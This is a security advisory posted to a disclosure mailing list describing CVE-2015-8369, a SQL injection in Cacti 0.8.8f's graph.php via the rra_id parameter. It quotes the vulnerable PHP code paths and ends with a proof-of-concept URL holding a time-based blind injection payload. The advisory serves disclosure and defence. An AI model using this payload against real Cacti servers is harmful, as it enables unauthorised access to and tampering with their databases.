[FD] [CVE-2015-8369] Cacti SQL injection in graph.php

["changzhao.mao" <changzhao.mao@xxxxxxxxxxxxxxxxxxxx>]

Application: Cacti 
Vendor URL: http://www.cacti.net 
Bugs: SQL injection 
Author:changzhao.mao(DBAPPSecurity Ltd) 
Version affected: 0.8.8f and prior

================================
Introduction
================================

  Cacti is a complete frontend to RRDTool, it stores all of the necessary 
information to create graphs and populate them with data in a MySQL database. 
The frontend is completely PHP driven. Along with being able to maintain 
Graphs, Data Sources, and Round Robin Archives in a database, cacti handles the 
data gathering. There is also SNMP support for those used to creating traffic 
graphs with MRTG.  SQL  injection vulnerabilities has been discovered.The 
vulnerability allows any users  to execute own sql commands to compromise the 
web-applicaation or database management system.The vulnerabilities are located 
in the rra_id value of the graph.php file.This php file of older version cacti 
may be accessible anonymously according to the cases I found from the internet. 
Latest version cacti may require guest user privilege.

[Vulnerability info]

/cacti-0.8.8f/graph.php
line 25  include "./include/top_graph_header.php"  before validating rra_id
/* set default action */
if (!isset($_REQUEST["action"])) { $_REQUEST["action"] = "view"; }
if (!isset($_REQUEST["view_type"])) { $_REQUEST["view_type"] = ""; }

$guest_account = true;
include("./include/auth.php");
include_once("./lib/rrd.php");

api_plugin_hook_function('graph');

include_once("./lib/html_tree.php");
include_once("./include/top_graph_header.php");

/* ================= input validation ================= */
input_validate_input_regex(get_request_var("rra_id"), "^([0-9]+|all)$");
input_validate_input_number(get_request_var("local_graph_id"));
input_validate_input_number(get_request_var("graph_end"));
input_validate_input_number(get_request_var("graph_start"));
input_validate_input_regex(get_request_var_request("view_type"), 
"^([a-zA-Z0-9]+)$");
/* ==================================================== */




/cacti-0.8.8f/include/top_graph_header.php 
line 30 rra_id is not validated
 
/* ================= input validation ================= */
input_validate_input_number(get_request_var_request("local_graph_id"));
input_validate_input_number(get_request_var_request("graph_start"));
input_validate_input_number(get_request_var_request("graph_end"));
/* ==================================================== */





line 158
    <?php if ((basename($_SERVER["PHP_SELF"]) == "graph.php") && 
($_REQUEST["action"] == "properties")) {?>
    <tr>
        <td valign="top" class='cactiTreeNavigationArea' colspan="3">
            <?php
            $graph_data_array["print_source"] = true;

            /* override: graph start time (unix time) */
            if (!empty($_GET["graph_start"])) {
                $graph_data_array["graph_start"] = 
get_request_var_request("graph_start");
            }

            /* override: graph end time (unix time) */
            if (!empty($_GET["graph_end"])) {
                $graph_data_array["graph_end"] = 
get_request_var_request("graph_end");
            }

            print 
trim(@rrdtool_function_graph(get_request_var_request("local_graph_id"), 
get_request_var_request("rra_id"), $graph_data_array));
            ?>
            



\cacti-0.8.8f\lib\rrd.php function rrdtool_function_graph line 631
        $rra["timespan"] = 86400;
        }else{
            /* get a list of RRAs related to this graph */
            $rras = get_associated_rras($local_graph_id);

            if (sizeof($rras) > 0) {
                foreach ($rras as $unchosen_rra) {
                    /* the timespan specified in the RRA "timespan" field may 
not be accurate */
                    $real_timespan = ($ds_step * $unchosen_rra["steps"] * 
$unchosen_rra["rows"]);

                    /* make sure the current start/end times fit within each 
RRA's timespan */
                    if ( (($graph_data_array["graph_end"] - 
$graph_data_array["graph_start"]) <= $real_timespan) && ((time() - 
$graph_data_array["graph_start"]) <= $real_timespan) ) {
                        /* is this RRA better than the already chosen one? */
                        if ((isset($rra)) && ($unchosen_rra["steps"] < 
$rra["steps"])) {
                            $rra = $unchosen_rra;
                        }else if (!isset($rra)) {
                            $rra = $unchosen_rra;
                        }
                    }
                }
            }

            if (!isset($rra)) {
                $rra["rows"] = 600;
                $rra["steps"] = 1;
            }
        }
    }else{
    // sql injection here 
        $rra = db_fetch_row("select timespan,rows,steps from rra where 
id=$rra_id");
    }

    
[Exploit]
    poc: 
http://192.168.x.x/cacti/graph.php?action=properties&local_graph_id=1&rra_id=1%20and%20benchmark(20000000%2csha1(1))--%20&view_type=&graph_start=1448274676&graph_end=1448360776

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